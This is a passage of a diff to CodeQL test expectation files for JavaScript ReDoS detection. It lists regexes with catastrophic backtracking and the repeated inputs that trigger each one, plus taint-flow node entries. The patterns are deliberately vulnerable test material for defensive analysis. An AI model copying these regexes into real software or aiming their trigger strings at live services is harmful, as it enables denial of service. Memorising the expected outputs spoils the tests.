\\A([A-Za-z0-9'~`!@#$%&^_+=\\(\\){},\\-\\[\\]\\;])+?([ A-Za-z0-9'~` !@#$%&^_+=\\(\\){},\\-\\[\\];]\|([.]))*?(?(3)(([ A-Za-z0-9'~`!@#$ %&^_+=\\(\\){},\\-\\[\\]\\;]*?)([A-Za-z0-9'~`!@#$%&^_+=\\(\\){},\\-\\[ \\];])+\\z)\|(\\z)) | +| regexplib/uri.js:18:47:18:96 | ([ A-Za-z0-9'~` !@#$%&^_+=\\(\\){},\\-\\[\\];]\|([.]))*? | Strings starting with 'A!' and with many repetitions of '!' can start matching anywhere after the start of the preceeding ([A-Za-z0-9'~`!@#$%&^_+=\\(\\){},\\-\\[\\]\\;])+? | +| regexplib/uri.js:18:148:18:189 | ([A-Za-z0-9'~`!@#$%&^_+=\\(\\){},\\-\\[ \\];])+ | Strings starting with 'A!?3' and with many repetitions of ' ' can start matching anywhere after the start of the preceeding [ A-Za-z0-9'~`!@#$ %&^_+=\\(\\){},\\-\\[\\]\\;]*? | +| regexplib/uri.js:20:11:20:16 | [0-9]+ | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding [0-2]* | +| regexplib/uri.js:20:17:20:22 | [0-9]+ | Strings starting with '0' and with many repetitions of '0' can start matching anywhere after the start of the preceeding [0-2]* | +| regexplib/uri.js:20:33:20:38 | [0-9]+ | Strings starting with '00.' and with many repetitions of '0' can start matching anywhere after the start of the preceeding [0-2]* | +| regexplib/uri.js:20:39:20:44 | [0-9]+ | Strings starting with '00.0' and with many repetitions of '0' can start matching anywhere after the start of the preceeding [0-2]* | +| regexplib/uri.js:20:55:20:60 | [0-9]+ | Strings starting with '00.00.' and with many repetitions of '0' can start matching anywhere after the start of the preceeding [0-2]* | +| regexplib/uri.js:20:61:20:66 | [0-9]+ | Strings starting with '00.00.0' and with many repetitions of '0' can start matching anywhere after the start of the preceeding [0-2]* | +| regexplib/uri.js:20:77:20:82 | [0-9]+ | Strings starting with '00.00.00.' and with many repetitions of '0' can start matching anywhere after the start of the preceeding [0-2]* | +| regexplib/uri.js:20:83:20:88 | [0-9]+ | Strings starting with '00.00.00.0' and with many repetitions of '0' can start matching anywhere after the start of the preceeding [0-2]* | +| regexplib/uri.js:23:2:23:74 | (((file\|gopher\|news\|nntp\|telnet\|http\|ftp\|https\|ftps\|sftp):\\/\\/)\|(www\\.))+ | Strings with many repetitions of 'www.' can start matching anywhere after the start of the preceeding (((file\|gopher\|news\|nntp\|telnet\|http\|ftp\|https\|ftps\|sftp):\\/\\/)\|(www\\.))+(([a-zA-Z0-9\\._-]+\\.[a-zA-Z]{2,6})\|([0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}))(\\/[a-zA-Z0-9\\&%_\\./-~-]*)? | +| regexplib/uri.js:23:77:23:92 | [a-zA-Z0-9\\._-]+ | Strings starting with 'www.' and with many repetitions of 'www.-' can start matching anywhere after the start of the preceeding (((file\|gopher\|news\|nntp\|telnet\|http\|ftp\|https\|ftps\|sftp):\\/\\/)\|(www\\.))+ | +| regexplib/uri.js:24:11:24:16 | [0-9]+ | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding [0-2]* | +| regexplib/uri.js:24:17:24:22 | [0-9]+ | Strings starting with '0' and with many repetitions of '0' can start matching anywhere after the start of the preceeding [0-2]* | +| regexplib/uri.js:24:33:24:38 | [0-9]+ | Strings starting with '00.' and with many repetitions of '0' can start matching anywhere after the start of the preceeding [0-2]* | +| regexplib/uri.js:24:39:24:44 | [0-9]+ | Strings starting with '00.0' and with many repetitions of '0' can start matching anywhere after the start of the preceeding [0-2]* | +| regexplib/uri.js:24:55:24:60 | [0-9]+ | Strings starting with '00.00.' and with many repetitions of '0' can start matching anywhere after the start of the preceeding [0-2]* | +| regexplib/uri.js:24:61:24:66 | [0-9]+ | Strings starting with '00.00.0' and with many repetitions of '0' can start matching anywhere after the start of the preceeding [0-2]* | +| regexplib/uri.js:24:77:24:82 | [0-9]+ | Strings starting with '00.00.00.' and with many repetitions of '0' can start matching anywhere after the start of the preceeding [0-2]* | +| regexplib/uri.js:24:83:24:88 | [0-9]+ | Strings starting with '00.00.00.0' and with many repetitions of '0' can start matching anywhere after the start of the preceeding [0-2]* | +| regexplib/uri.js:29:2:29:45 | ((http\\:\\/\\/\|https\\:\\/\\/\|ftp\\:\\/\\/)\|(www.))+ | Strings with many repetitions of 'wwwa' can start matching anywhere after the start of the preceeding ((http\\:\\/\\/\|https\\:\\/\\/\|ftp\\:\\/\\/)\|(www.))+(([a-zA-Z0-9\\.-]+\\.[a-zA-Z]{2,4})\|([0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}))(\\/[a-zA-Z0-9%:/-_\\?\\.'~]*)? | +| regexplib/uri.js:29:48:29:62 | [a-zA-Z0-9\\.-]+ | Strings starting with 'wwwa' and with many repetitions of 'www--' can start matching anywhere after the start of the preceeding ((http\\:\\/\\/\|https\\:\\/\\/\|ftp\\:\\/\\/)\|(www.))+ | +| regexplib/uri.js:31:65:31:69 | [^<]+ | Strings starting with 'href=! >' and with many repetitions of 'href=! >;' can start matching anywhere after the start of the preceeding href\\s*=\\s*(?:(?:\\"(?[^\\"]*)\\")\|(?[^\\s*] ))>(?[^<]+)<\\/\\w> | +| regexplib/uri.js:36:40:36:42 | \\d* | Strings starting with '$1' and with many repetitions of '1' can start matching anywhere after the start of the preceeding [1-9]+ | +| regexplib/uri.js:38:20:38:28 | [a-z0-9]+ | Strings starting with 'a' and with many repetitions of '0' can start matching anywhere after the start of the preceeding [a-z0-9-]* | +| regexplib/uri.js:38:35:38:40 | [a-z]+ | Strings starting with 'a.' and with many repetitions of 'aa' can start matching anywhere after the start of the preceeding ([a-z]+([a-z0-9-]*[a-z0-9]+)?)+ | +| regexplib/uri.js:38:52:38:60 | [a-z0-9]+ | Strings starting with 'a.a' and with many repetitions of '0' can start matching anywhere after the start of the preceeding ([a-z]+([a-z0-9-]*[a-z0-9]+)?)+ | +| regexplib/uri.js:39:7:39:9 | .*? | Strings starting with '<a' and with many repetitions of ' ' can start matching anywhere after the start of the preceeding <a\\s*.*?href\\s*=\\s*['"](?!http:\\/\\/).*?>(.*?)<\\/a> | +| regexplib/uri.js:39:43:39:45 | .*? | Strings with many repetitions of '>a' can start matching anywhere after the start of the preceeding .*? | +| regexplib/uri.js:41:16:41:31 | [a-zA-Z0-9\\-\\.]+ | Strings starting with '0' and with many repetitions of '00' can start matching anywhere after the start of the preceeding [a-zA-Z0-9]+ | +| regexplib/uri.js:47:31:47:36 | [\\w-]+ | Strings with many repetitions of '-' can start matching anywhere after the start of the preceeding [\\w-\\s]* | +| regexplib/uri.js:51:51:51:53 | \\S+ | Strings with many repetitions of '!@' can start matching anywhere after the start of the preceeding \\S+ | +| regexplib/uri.js:54:40:54:42 | \\d* | Strings starting with '$1' and with many repetitions of '1' can start matching anywhere after the start of the preceeding [1-9]+ | +| regexplib/uri.js:55:20:55:28 | [a-z0-9]+ | Strings starting with 'a' and with many repetitions of '0' can start matching anywhere after the start of the preceeding [a-z0-9-]* | +| regexplib/uri.js:55:35:55:40 | [a-z]+ | Strings starting with 'a.' and with many repetitions of 'aa' can start matching anywhere after the start of the preceeding ([a-z]+([a-z0-9-]*[a-z0-9]+)?)+ | +| regexplib/uri.js:55:52:55:60 | [a-z0-9]+ | Strings starting with 'a.a' and with many repetitions of '0' can start matching anywhere after the start of the preceeding ([a-z]+([a-z0-9-]*[a-z0-9]+)?)+ | +| regexplib/uri.js:58:2:58:45 | ((http\\:\\/\\/\|https\\:\\/\\/\|ftp\\:\\/\\/)\|(www.))+ | Strings with many repetitions of 'wwwa' can start matching anywhere after the start of the preceeding ((http\\:\\/\\/\|https\\:\\/\\/\|ftp\\:\\/\\/)\|(www.))+(([a-zA-Z0-9\\.-]+\\.[a-zA-Z]{2,4})\|([0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}))(\\/[a-zA-Z0-9%:/-_\\?\\.'~]*)? | +| regexplib/uri.js:58:48:58:62 | [a-zA-Z0-9\\.-]+ | Strings starting with 'wwwa' and with many repetitions of 'www--' can start matching anywhere after the start of the preceeding ((http\\:\\/\\/\|https\\:\\/\\/\|ftp\\:\\/\\/)\|(www.))+ | +| regexplib/uri.js:64:31:64:36 | [\\w-]+ | Strings with many repetitions of '-' can start matching anywhere after the start of the preceeding [\\w-\\s]* | +| regexplib/uri.js:70:16:70:31 | [a-zA-Z0-9\\-\\.]+ | Strings starting with '0' and with many repetitions of '00' can start matching anywhere after the start of the preceeding [a-zA-Z0-9]+ | +| regexplib/uri.js:71:75:71:89 | [^\\/\\\\:*?"<>\|]+ | Strings starting with 'A:\\\\!.' and with many repetitions of '!.' can start matching anywhere after the start of the preceeding [^\\/\\\\:*?"<>\|]+ | +| tst.js:14:15:14:16 | .* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (.*,)+ | +| tst.js:23:21:23:28 | [\\s\\S]*? | Strings starting with '(*' and with many repetitions of '(*a' can start matching anywhere after the start of the preceeding (?:[\\s\\S]*?\\(\\*[\\s\\S]*?\\*\\))* | +| tst.js:23:33:23:40 | [\\s\\S]*? | Strings starting with '(*(*' and with many repetitions of '(*' can start matching anywhere after the start of the preceeding (?:[\\s\\S]*?\\(\\*[\\s\\S]*?\\*\\))* | +| tst.js:23:47:23:54 | [\\s\\S]*? | Strings starting with '(*' and with many repetitions of '(*a' can start matching anywhere after the start of the preceeding (?:[\\s\\S]*?\\(\\*[\\s\\S]*?\\*\\))* | +| tst.js:28:24:28:25 | .* | Strings starting with '!\|' and with many repetitions of '\|' can start matching anywhere after the start of the preceeding .* | +| tst.js:28:59:28:60 | .* | Strings starting with '!\|\\n-\|\\n\|' and with many repetitions of '\|' can start matching anywhere after the start of the preceeding .* | +| tst.js:31:23:31:24 | .* | Strings starting with '!\|' and with many repetitions of '\|' can start matching anywhere after the start of the preceeding .* | +| tst.js:31:54:31:55 | .* | Strings starting with '!\|\\n-\|\\n' and with many repetitions of '\|\\n\|' can start matching anywhere after the start of the preceeding .* | +| tst.js:31:58:31:59 | .* | Strings starting with '!\|\\n-\|\\n\|' and with many repetitions of '\|' can start matching anywhere after the start of the preceeding .* | +| tst.js:41:14:41:30 | ([\\s\\[\\{\\(]\|#.*)* | Strings with many repetitions of '\\t' can start matching anywhere after the start of the preceeding .* | +| tst.js:47:21:47:43 | (?:[^"']\|".*?"\|'.*?')*? | Strings with many repetitions of '!' can start matching anywhere after the start of the preceeding ((?:[^"']\|".*?"\|'.*?')*?)([(,)]\|$) | +| tst.js:47:31:47:33 | .*? | Strings starting with '"' and with many repetitions of '"' can start matching anywhere after the start of the preceeding ((?:[^"']\|".*?"\|'.*?')*?)([(,)]\|$) | +| tst.js:47:37:47:39 | .*? | Strings starting with ''' and with many repetitions of ''' can start matching anywhere after the start of the preceeding ((?:[^"']\|".*?"\|'.*?')*?)([(,)]\|$) | +| tst.js:52:34:52:43 | (\\[.*?\\])* | Strings starting with '$' and with many repetitions of '[]' can start matching anywhere after the start of the preceeding .*? | +| tst.js:52:37:52:39 | .*? | Strings starting with '$[' and with many repetitions of '[]' can start matching anywhere after the start of the preceeding (\\[.*?\\])* | +| tst.js:52:67:52:76 | (\\[.*?\\])* | Strings starting with '$.$' and with many repetitions of '[]' can start matching anywhere after the start of the preceeding (\\[.*?\\])* | +| tst.js:52:70:52:72 | .*? | Strings starting with '$.$[' and with many repetitions of '[]' can start matching anywhere after the start of the preceeding (\\[.*?\\])* | +| tst.js:58:15:58:20 | [a-z]+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding ([a-z]+)+ | +| tst.js:60:43:60:54 | [a-zA-Z0-9]+ | Strings starting with '0' and with many repetitions of '0' can start matching anywhere after the start of the preceeding (([\\\\-.]\|[_]+)?([a-zA-Z0-9]+))* | +| tst.js:61:16:61:23 | ([a-z])+ | Strings with many repetitions of 'aa' can start matching anywhere after the start of the preceeding (([a-z])+.)+ | +| tst.js:66:16:66:31 | [\\w#:.~>+()\\s-]+ | Strings with many repetitions of '\\t' can start matching anywhere after the start of the preceeding (([\\w#:.~>+()\\s-]+\|\\*\|\\[.*?\\])+)\\s*(,\|$) | +| tst.js:66:38:66:40 | .*? | Strings starting with '[' and with many repetitions of '[' can start matching anywhere after the start of the preceeding (([\\w#:.~>+()\\s-]+\|\\*\|\\[.*?\\])+)\\s*(,\|$) | +| tst.js:66:46:66:48 | \\s* | Strings starting with '*' and with many repetitions of '\\t' can start matching anywhere after the start of the preceeding (([\\w#:.~>+()\\s-]+\|\\*\|\\[.*?\\])+)\\s*(,\|$) | +| tst.js:71:19:71:26 | (\\\\?.)*? | Strings starting with '"' and with many repetitions of '"' can start matching anywhere after the start of the preceeding ("\|')(\\\\?.)*?\\1 | +| tst.js:74:14:74:21 | (b\|a?b)* | Strings with many repetitions of 'b' can start matching anywhere after the start of the preceeding (b\|a?b)*c | +| tst.js:77:14:77:21 | (a\|aa?)* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a\|aa?)*b | +| tst.js:80:14:80:20 | (.\|\\n)* | Strings with many repetitions of '\\n' can start matching anywhere after the start of the preceeding (.\|\\n)*! | +| tst.js:83:14:83:20 | (.\|\\n)* | Strings with many repetitions of '\\n' can start matching anywhere after the start of the preceeding (.\|\\n)*! | +| tst.js:89:25:89:32 | (a\|aa?)* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a\|aa?)*b | +| tst.js:95:15:95:25 | ([^]\|[^a])* | Strings with many repetitions of '`' can start matching anywhere after the start of the preceeding (([^]\|[^a])*)" | +| tst.js:101:15:101:23 | (.\|[^a])* | Strings with many repetitions of '`' can start matching anywhere after the start of the preceeding ((.\|[^a])*)" | +| tst.js:104:16:104:24 | (a\|[^a])* | Strings with many repetitions of '`' can start matching anywhere after the start of the preceeding ((a\|[^a])*)" | +| tst.js:107:15:107:23 | (b\|[^a])* | Strings with many repetitions of '`' can start matching anywhere after the start of the preceeding ((b\|[^a])*)" | +| tst.js:110:15:110:23 | (G\|[^a])* | Strings with many repetitions of 'G' can start matching anywhere after the start of the preceeding ((G\|[^a])*)" | +| tst.js:113:15:113:27 | ([0-9]\|[^a])* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding (([0-9]\|[^a])*)" | +| tst.js:122:16:122:62 | (?:\\\\[\\x00-\\x7f]\|[^\\x00-\\x08\\x0a-\\x1f\\x7f"\\\\])* | Strings starting with '"' and with many repetitions of '\\\\"!' can start matching anywhere after the start of the preceeding "((?:\\\\[\\x00-\\x7f]\|[^\\x00-\\x08\\x0a-\\x1f\\x7f"\\\\])*)" | +| tst.js:125:15:125:28 | ([a-z]\|[d-h])* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (([a-z]\|[d-h])*)" | +| tst.js:128:15:128:30 | ([^a-z]\|[^0-9])* | Strings with many repetitions of '/' can start matching anywhere after the start of the preceeding (([^a-z]\|[^0-9])*)" | +| tst.js:131:15:131:25 | (\\d\|[0-9])* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding ((\\d\|[0-9])*)" | +| tst.js:134:15:134:22 | (\\s\|\\s)* | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding ((\\s\|\\s)*)" | +| tst.js:137:15:137:21 | (\\w\|G)* | Strings with many repetitions of 'G' can start matching anywhere after the start of the preceeding ((\\w\|G)*)" | +| tst.js:140:16:140:23 | (\\s\|\\d)* | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding ((\\s\|\\d)*)" | +| tst.js:143:15:143:22 | (\\d\|\\w)* | Strings with many repetitions of '9' can start matching anywhere after the start of the preceeding ((\\d\|\\w)*)" | +| tst.js:146:15:146:21 | (\\d\|5)* | Strings with many repetitions of '5' can start matching anywhere after the start of the preceeding ((\\d\|5)*)" | +| tst.js:149:15:149:24 | (\\s\|[\\f])* | Strings with many repetitions of '\u000c' can start matching anywhere after the start of the preceeding ((\\s\|[\\f])*)" | +| tst.js:152:15:152:28 | (\\s\|[\\v]\|\\\\v)* | Strings with many repetitions of '\u000b' can start matching anywhere after the start of the preceeding ((\\s\|[\\v]\|\\\\v)*)" | +| tst.js:155:15:155:24 | (\\f\|[\\f])* | Strings with many repetitions of '\u000c' can start matching anywhere after the start of the preceeding ((\\f\|[\\f])*)" | +| tst.js:158:15:158:22 | (\\W\|\\D)* | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding ((\\W\|\\D)*)" | +| tst.js:161:15:161:22 | (\\S\|\\w)* | Strings with many repetitions of '!' can start matching anywhere after the start of the preceeding ((\\S\|\\w)*)" | +| tst.js:164:15:164:24 | (\\S\|[\\w])* | Strings with many repetitions of '!' can start matching anywhere after the start of the preceeding ((\\S\|[\\w])*)" | +| tst.js:167:15:167:27 | (1s\|[\\da-z])* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding ((1s\|[\\da-z])*)" | +| tst.js:170:15:170:23 | (0\|[\\d])* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding ((0\|[\\d])*)" | +| tst.js:173:16:173:20 | [\\d]+ | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding (([\\d]+)*)" | +| tst.js:185:16:185:21 | [^>a]+ | Strings with many repetitions of '=' can start matching anywhere after the start of the preceeding ([^>a]+)* | +| tst.js:188:17:188:19 | \\s* | Strings starting with '\\n' and with many repetitions of '\\n' can start matching anywhere after the start of the preceeding (\\n\\s*)+$ | +| tst.js:191:18:191:20 | \\s+ | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding (?:\\s+\|#.*\|\\(\\?#[^)]*\\))* | +| tst.js:191:31:191:35 | [^)]* | Strings starting with '(?#' and with many repetitions of '(?#' can start matching anywhere after the start of the preceeding (?:\\s+\|#.*\|\\(\\?#[^)]*\\))* | +| tst.js:194:53:194:61 | [a-zA-Z]+ | Strings starting with '{[A(A)' and with many repetitions of 'AA' can start matching anywhere after the start of the preceeding [ a-zA-Z{}]+ | +| tst.js:194:68:194:79 | [ a-zA-Z{}]+ | Strings starting with '{[A(A)A:' and with many repetitions of ' A: ' can start matching anywhere after the start of the preceeding [a-zA-Z]+ | +| tst.js:194:87:194:89 | \\s* | Strings starting with '{[A(A)' and with many repetitions of ' ' can start matching anywhere after the start of the preceeding [ a-zA-Z{}]+ | +| tst.js:197:15:197:16 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a+\|b+\|c+)* | +| tst.js:197:18:197:19 | b+ | Strings with many repetitions of 'b' can start matching anywhere after the start of the preceeding (a+\|b+\|c+)* | +| tst.js:200:17:200:18 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (((a+a?)*)+b+) | +| tst.js:203:15:203:16 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a+)+ | +| tst.js:209:15:209:16 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a+)+ | +| tst.js:215:15:215:17 | \\n+ | Strings with many repetitions of '\\n' can start matching anywhere after the start of the preceeding (\\n+)+ | +| tst.js:218:15:218:19 | [^X]+ | Strings with many repetitions of 'W' can start matching anywhere after the start of the preceeding ([^X]+)* | +| tst.js:221:15:221:22 | ([^X]b)+ | Strings with many repetitions of 'Wb' can start matching anywhere after the start of the preceeding (([^X]b)+)* | +| tst.js:227:15:227:22 | ([^X]b)+ | Strings with many repetitions of 'Wb' can start matching anywhere after the start of the preceeding (([^X]b)+)* | +| tst.js:239:15:239:19 | (ab)+ | Strings with many repetitions of 'ab' can start matching anywhere after the start of the preceeding ((ab)+)* | +| tst.js:245:15:245:21 | [\\n\\s]+ | Strings with many repetitions of '\\n' can start matching anywhere after the start of the preceeding ([\\n\\s]+)* | +| tst.js:248:18:248:19 | A* | Strings with many repetitions of 'A' can start matching anywhere after the start of the preceeding (A*A*X)* | +| tst.js:254:15:254:17 | \\w* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (\\w*foobarbaz\\w*foobarbaz\\w*foobarbaz\\w*foobarbaz\\s*foobarbaz\\d*foobarbaz\\w*)+- | +| tst.js:254:27:254:29 | \\w* | Strings starting with 'foobarbaz' and with many repetitions of 'foobarbaz' can start matching anywhere after the start of the preceeding (\\w*foobarbaz\\w*foobarbaz\\w*foobarbaz\\w*foobarbaz\\s*foobarbaz\\d*foobarbaz\\w*)+- | +| tst.js:254:39:254:41 | \\w* | Strings starting with 'foobarbazfoobarbaz' and with many repetitions of 'foobarbaz' can start matching anywhere after the start of the preceeding (\\w*foobarbaz\\w*foobarbaz\\w*foobarbaz\\w*foobarbaz\\s*foobarbaz\\d*foobarbaz\\w*)+- | +| tst.js:254:51:254:53 | \\w* | Strings starting with 'foobarbazfoobarbazfoobarbaz' and with many repetitions of 'foobarbaz' can start matching anywhere after the start of the preceeding (\\w*foobarbaz\\w*foobarbaz\\w*foobarbaz\\w*foobarbaz\\s*foobarbaz\\d*foobarbaz\\w*)+- | +| tst.js:254:63:254:65 | \\s* | Strings starting with 'foobarbazfoobarbazfoobarbazfoobarbaz' and with many repetitions of 'foobarbazfoobarbazfoobarbazfoobarbazfoobarbazfoobarbaz' can start matching anywhere after the start of the preceeding (\\w*foobarbaz\\w*foobarbaz\\w*foobarbaz\\w*foobarbaz\\s*foobarbaz\\d*foobarbaz\\w*)+- | +| tst.js:254:75:254:77 | \\d* | Strings starting with 'foobarbazfoobarbazfoobarbazfoobarbazfoobarbaz' and with many repetitions of 'foobarbazfoobarbazfoobarbazfoobarbazfoobarbazfoobarbaz' can start matching anywhere after the start of the preceeding (\\w*foobarbaz\\w*foobarbaz\\w*foobarbaz\\w*foobarbaz\\s*foobarbaz\\d*foobarbaz\\w*)+- | +| tst.js:257:14:257:116 | (.thisisagoddamnlongstringforstresstestingthequery\|\\sthisisagoddamnlongstringforstresstestingthequery)* | Strings with many repetitions of ' thisisagoddamnlongstringforstresstestingthequery' can start matching anywhere after the start of the preceeding (.thisisagoddamnlongstringforstresstestingthequery\|\\sthisisagoddamnlongstringforstresstestingthequery)*- | +| tst.js:260:14:260:77 | (thisisagoddamnlongstringforstresstestingthequery\|this\\w+query)* | Strings with many repetitions of 'thisaquery' can start matching anywhere after the start of the preceeding (thisisagoddamnlongstringforstresstestingthequery\|this\\w+query)*- | +| tst.js:260:68:260:70 | \\w+ | Strings starting with 'this' and with many repetitions of 'this' can start matching anywhere after the start of the preceeding (thisisagoddamnlongstringforstresstestingthequery\|this\\w+query)* | +| tst.js:263:15:263:117 | (thisisagoddamnlongstringforstresstestingthequery\|imanotherbutunrelatedstringcomparedtotheotherstring)* | Strings with many repetitions of 'thisisagoddamnlongstringforstresstestingthequery' can start matching anywhere after the start of the preceeding (thisisagoddamnlongstringforstresstestingthequery\|imanotherbutunrelatedstringcomparedtotheotherstring)*- | +| tst.js:272:21:272:22 | b+ | Strings with many repetitions of 'b' can start matching anywhere after the start of the preceeding (b+)+ | +| tst.js:275:25:275:27 | \\s+ | Strings starting with '<a' and with many repetitions of ' 0=" 0=" ' can start matching anywhere after the start of the preceeding [^"]* | +| tst.js:275:28:275:30 | \\w+ | Strings starting with '<a ' and with many repetitions of '0=" 0=" ' can start matching anywhere after the start of the preceeding [^"]* | +| tst.js:275:34:275:36 | \\s* | Strings starting with '<a a' and with many repetitions of '=" 0=" 0 ' can start matching anywhere after the start of the preceeding [^"]* | +| tst.js:275:48:275:52 | [^"]* | Strings starting with '<a a="' and with many repetitions of '" a="' can start matching anywhere after the start of the preceeding (?:\\s+\\w+(?:\\s*=\\s*(?:(?:"[^"]*")\|(?:'[^']*')\|[^>\\s]+))?)* | +| tst.js:275:60:275:64 | [^']* | Strings starting with '<a a='' and with many repetitions of '' a='' can start matching anywhere after the start of the preceeding (?:\\s+\\w+(?:\\s*=\\s*(?:(?:"[^"]*")\|(?:'[^']*')\|[^>\\s]+))?)* | +| tst.js:275:68:275:74 | [^>\\s]+ | Strings starting with '<a a=' and with many repetitions of '" a="' can start matching anywhere after the start of the preceeding [^"]* | +| tst.js:281:16:281:17 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a+)* | +| tst.js:284:16:284:17 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a+)* | +| tst.js:290:16:290:17 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding ((a+)*$\|[^]+) | +| tst.js:293:22:293:23 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding ([^]+\|(a+)*$) | +| tst.js:296:15:296:24 | ((;\|^)a+)+ | Strings starting with 'a' and with many repetitions of ';a' can start matching anywhere after the start of the preceeding ((;\|^)a+)+$ | +| tst.js:296:21:296:22 | a+ | Strings with many repetitions of 'a;' can start matching anywhere after the start of the preceeding ((;\|^)a+)+$ | +| tst.js:299:90:299:91 | e+ | Strings starting with '00000000000000' and with many repetitions of 'e' can start matching anywhere after the start of the preceeding (e+)+ | +| tst.js:302:18:302:19 | c+ | Strings starting with 'ab' and with many repetitions of 'c' can start matching anywhere after the start of the preceeding (c+)+ | +| tst.js:305:18:305:20 | \\s+ | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding (\\s+)* | +| tst.js:308:16:308:24 | ([^/]\|X)+ | Strings with many repetitions of '.' can start matching anywhere after the start of the preceeding (([^/]\|X)+)(\\/[^]*)*$ | +| tst.js:311:17:311:28 | (x([^Y]+)?)* | Strings with many repetitions of 'xX' can start matching anywhere after the start of the preceeding [^Y]+ | +| tst.js:311:20:311:24 | [^Y]+ | Strings starting with 'x' and with many repetitions of 'xX' can start matching anywhere after the start of the preceeding (x([^Y]+)?)* | +| tst.js:314:15:314:16 | a* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a*)+b | +| tst.js:317:18:317:23 | [\\w-]* | Strings starting with 'foo' and with many repetitions of 'foo-' can start matching anywhere after the start of the preceeding foo([\\w-]*)+bar | +| tst.js:320:15:320:19 | (ab)* | Strings with many repetitions of 'ab' can start matching anywhere after the start of the preceeding ((ab)*)+c | +| tst.js:323:14:323:20 | (a?a?)* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a?a?)*b | +| tst.js:326:15:326:19 | (a?)* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a?)*b | +| tst.js:329:14:329:20 | (c?a?)* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (c?a?)*b | +| tst.js:332:14:332:22 | (?:a\|a?)+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (?:a\|a?)+b | +| tst.js:335:14:335:20 | (a?b?)* | Strings with many repetitions of 'b' can start matching anywhere after the start of the preceeding (a?b?)*$ | diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected index f1ca5be6fcb..9d30489ee27 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected +++ b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected @@ -14,6 +14,10 @@ nodes | polynomial-redos.js:12:2:12:8 | tainted | | polynomial-redos.js:15:2:15:8 | tainted | | polynomial-redos.js:15:2:15:8 | tainted | +| polynomial-redos.js:16:2:16:8 | tainted | +| polynomial-redos.js:16:2:16:8 | tainted | +| polynomial-redos.js:17:23:17:29 | tainted | +| polynomial-redos.js:17:23:17:29 | tainted | | polynomial-redos.js:18:2:18:8 | tainted | | polynomial-redos.js:18:2:18:8 | tainted | | polynomial-redos.js:19:2:19:8 | tainted | @@ -22,8 +26,6 @@ nodes | polynomial-redos.js:20:2:20:8 | tainted | | polynomial-redos.js:25:2:25:8 | tainted | | polynomial-redos.js:25:2:25:8 | tainted | -| polynomial-redos.js:27:77:27:83 | tainted | -| polynomial-redos.js:27:77:27:83 | tainted | | polynomial-redos.js:30:2:30:8 | tainted | | polynomial-redos.js:30:2:30:8 | tainted | | polynomial-redos.js:33:2:33:8 | tainted | @@ -34,6 +36,10 @@ nodes | polynomial-redos.js:37:2:37:8 | tainted | | polynomial-redos.js:38:2:38:8 | tainted | | polynomial-redos.js:38:2:38:8 | tainted | +| polynomial-redos.js:40:2:40:8 | tainted | +| polynomial-redos.js:40:2:40:8 | tainted | +| polynomial-redos.js:43:2:43:8 | tainted | +| polynomial-redos.js:43:2:43:8 | tainted | | polynomial-redos.js:48:2:48:8 | tainted | | polynomial-redos.js:48:2:48:8 | tainted | | polynomial-redos.js:50:14:50:20 | tainted | @@ -54,6 +60,8 @@ nodes | polynomial-redos.js:57:25:57:31 | tainted | | polynomial-redos.js:58:21:58:27 | tainted | | polynomial-redos.js:58:21:58:27 | tainted | +| polynomial-redos.js:59:23:59:29 | tainted | +| polynomial-redos.js:59:23:59:29 | tainted | | polynomial-redos.js:62:17:62:23 | tainted | | polynomial-redos.js:62:17:62:23 | tainted | | polynomial-redos.js:63:21:63:27 | tainted | @@ -72,26 +80,58 @@ nodes | polynomial-redos.js:69:18:69:25 | req.body | | polynomial-redos.js:69:18:69:25 | req.body | | polynomial-redos.js:69:18:69:25 | req.body | +| polynomial-redos.js:71:2:71:8 | tainted | +| polynomial-redos.js:71:2:71:8 | tainted | +| polynomial-redos.js:73:2:73:8 | tainted | +| polynomial-redos.js:73:2:73:8 | tainted | | polynomial-redos.js:75:2:75:8 | tainted | | polynomial-redos.js:75:2:75:8 | tainted | | polynomial-redos.js:77:2:77:8 | tainted | | polynomial-redos.js:77:2:77:8 | tainted | | polynomial-redos.js:80:2:80:8 | tainted | | polynomial-redos.js:80:2:80:8 | tainted | +| polynomial-redos.js:81:2:81:8 | tainted | 